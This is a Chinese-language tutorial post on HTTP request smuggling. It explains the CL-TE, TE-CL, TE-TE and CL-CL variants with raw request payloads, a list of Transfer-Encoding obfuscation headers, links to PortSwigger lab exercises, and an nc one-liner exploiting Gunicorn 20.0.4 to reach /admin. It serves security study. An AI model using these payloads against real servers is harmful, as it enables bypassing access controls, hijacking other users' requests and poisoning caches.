其他
原创 | Http Request-Smuggling
点击蓝字
关注我们
什么是HTTP请求走私?
漏洞成因
CL.TE:前端服务器使用Content-Length标头,而后端服务器使用Transfer-Encoding标头。
TE.CL:前端服务器使用Transfer-Encoding标头,而后端服务器使用Content-Length标头。
TE.TE:前端服务器和后端服务器都支持Transfer-Encoding标头,但是可以通过对标头进行某种方式的混淆来诱导其中一台服务器不对其进行处理。
这里的解析错误主要取决于HTTP1.1中的两个特性:
keep-alive与pipeline
HTTP流水线
GET / HTTP/1.1
Host: localhost
GET / HTTP/1.1
Host: localhost
GET / HTTP/1.1
Host: localhost
在一个连接中发送3个HTTP请求,服务器会按序响应3个HTTP请求。可以使用这种办法来最小化请求之间的间隔时间。但由于手工录入可能较慢,可能无法实现我们的意图,所以也可以用命令来代替
echo -ne "GET / HTTP/1.1\r\nHost: localhost\r\n\r\nGET / HTTP/1.1\r\nHost: localhost\r\n\r\nGET / HTTP/1.1\r\nHost: localhost\r\n\r\n" | nc xxx.xxx.xxx.xxx 80
五种攻击方式
CL不为0
代码实例
GET / HTTP/1.1
Host: Sentiment.com
Content-Length: 44
GET / secret HTTP/1.1
Host: Sentiment.com
Content-Length 需要将请求主体中的 \r\n 所占的 2 字节计算在内,而块长度要忽略块内容末尾表示终止的 \r\n 请求头与请求主体之间有一个空行,是规范要求的结构,并不计入 Content-Length
所以这里的44=21+19+2*2(这两行后边的换行,即:(\r\n)
攻击流程
GET / HTTP/1.1
Host: Sentiment.com
第二个:
GET / secret HTTP/1.1
Host: Sentiment.com
CL-CL
RFC7230规范
但是中间代理服务器按照第一个Content-Length的值对请求进行处理,而后端源站服务器按照第二个Content-Length的值进行处理。
代码实例
GET / HTTP/1.1
Host: Sentiment.com
Content-Length: 8
Content-Length: 7
12345
a
攻击流程
前端:Content-Length: 8判断为正常请求,发送给后端。后端:Content-Length: 7读取长度为7,剩下一个字母a,会留在缓冲区,等待下一次请求时,加到下个请求中
GET / HTTP/1.1
Host: localhost
aGET / HTTP/1.1
Host: localhost
此时就会报错,这样就实现了一次HTTP走私攻击,对正常的用户请求造成了影响,而且还可以扩展成类似于CSRF的攻击方式。
CL-TE
RFC2616规范
chunked
[chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n]
代码实例
POST / HTTP/1.1
Host: Sentiment.com
Content-Length: 6
Transfer-Encoding: chunked
0
a
攻击流程
前端:Content-Length: 6,判断完整,传给后端。后端:Transfer-Encoding遇到0\r\n\r\n后,以为请求体结束,留下了一个字母a在下一次请求时,会附着在下个请求中
GET / HTTP/1.1
Host: localhost
aGET / HTTP/1.1
Host: localhost
TE-CL
代码实例
POST / HTTP/1.1
Host: ac411f671fba83e5c0f33998003c00b9.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
12
GPOST / HTTP/1.1
0
攻击流程
GET / HTTP/1.1
Host: localhost
GPOST / HTTP/1.1
0
GET / HTTP/1.1
Host: localhost
TE-TE
代码实例
POST / HTTP/1.1
Host: acbd1feb1fb1b40ec0210aa300b50090.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
Transfer-encoding: Sentiment
5c
aPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
0
攻击流程
混淆payload
Transfer-Encoding: xchunked
Transfer-Encoding[空格]: chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[空格]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
实验
漏洞利用
请求走私绕过前端安全控制CL-TE 漏洞
请求走私揭示前端请求重写
找一个能够将请求参数的值输出到响应中的POST请求 把该POST请求中,找到的这个特殊的参数放在消息的最后面 然后走私这一个请求,然后直接发送一个普通的请求,前端服务器对这个请求重写的一些字段就会显示出来。
https://portswigger.net/web-security/request-smuggling/exploiting/lab-reveal-front-end-request-rewriting
请求走私捕获用户请求
请求走私利用反射 XSS
它不需要与受害者用户进行交互。您不需要向他们提供URL,也不必等待他们访问它。您只是走私了包含XSS有效负载的请求,后端服务器将处理下一个用户的请求。 它可以用于在请求的某些部分中利用XSS行为,而这些部分在正常的反射XSS攻击中是无法轻松控制的,例如HTTP请求标头。
https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss
请求走私执行 Web 缓存投毒
Gunicorn 20.0.4 请求走私
GET / HTTP/1.1
Host: localhost
Content-Length: 68
Sec-Websocket-Key1: x
xxxxxxxxGET /admin HTTP/1.1
Host: localhost
Content-Length: 35
GET / HTTP/1.1
Host: localhost
GET / HTTP/1.1
Host: localhost
Content-Length: 68
Sec-Websocket-Key1: x
xxxxxxxxGET /admin HTTP/1.1
Host: localhost
Content-Length: 35
GET / HTTP/1.1
Host: localhost
GET / HTTP/1.1
Host: localhost
Content-Length: 68
Sec-Websocket-Key1: x
xxxxxxxx
GET /admin HTTP/1.1
Host: localhost
Content-Length: 35
GET / HTTP/1.1
Host: localhost
echo -en "GET / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 68\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /admin HTTP/1.1\r\nHost: localhost\r\nContent-Length: 35\r\n\r\nGET / HTTP/1.1\r\nHost: localhost\r\n\r\n" | nc localhost 8080
往期推荐